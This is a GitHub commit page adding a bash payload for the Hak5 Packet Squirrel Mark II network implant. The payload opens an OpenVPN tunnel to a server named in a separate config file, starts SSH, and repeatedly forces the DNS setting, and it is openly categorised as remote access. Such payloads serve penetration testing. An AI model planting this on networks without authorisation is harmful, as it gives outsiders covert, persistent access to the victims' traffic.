-
Notifications
You must be signed in to change notification settings - Fork 177
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #46 from rf-bandit/rf-bandit-patch-1
Create openvpn-Mkii
- Loading branch information
Showing
1 changed file
with
56 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
#!/bin/bash | ||
# | ||
# This payload is modified from a payload for the original Packet Squirrel to work on | ||
# the Packet Squirrel Mark II. | ||
# More info here: https://www.youtube.com/watch?v=OlKztGlt8VA | ||
# | ||
# Title: OpenVPN-Mkii | ||
# Description: Create a connection to a VPN-connection to an OpenVPN-server. Optionally: Send traffic from the clients through said tunnel. | ||
# Author: Hak5, rf_bandit | ||
# Version: 1.1 | ||
# Category: remote-access | ||
# Target: Any | ||
# Net Mode: BRIDGE, NAT | ||
|
||
# Set to 1 to allow clients to use the VPN | ||
FOR_CLIENTS=0 | ||
# | ||
|
||
DNS_SERVER="8.8.8.8" | ||
|
||
# Cheap hack to set the DNS server | ||
function setdns() { | ||
while true | ||
do | ||
[[ ! $(grep -q "$DNS_SERVER" /tmp/resolv.conf) ]] && { | ||
echo -e "search lan\nnameserver $DNS_SERVER" > /tmp/resolv.conf | ||
} | ||
sleep 5 | ||
done | ||
} | ||
|
||
function start() { | ||
LED SETUP | ||
DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) | ||
if [ $FOR_CLIENTS = 1 ]; then /usr/bin/NETMODE NAT && /usr/bin/LED G SINGLE; else /usr/bin/NETMODE BRIDGE && /usr/bin/LED Y SINGLE; fi | ||
|
||
|
||
sleep 3 | ||
|
||
# Make OpenVPN use the local configuration | ||
uci set openvpn.vpn.config="${DIR}/config.ovpn" | ||
uci commit | ||
|
||
# Start the OpenVPN server in the background | ||
/etc/init.d/openvpn start | ||
|
||
# Start SSH Server | ||
SSH_START | ||
# Set DNS server | ||
setdns & | ||
|
||
#LED ATTACK | ||
} | ||
|
||
# Start the payload | ||
start & |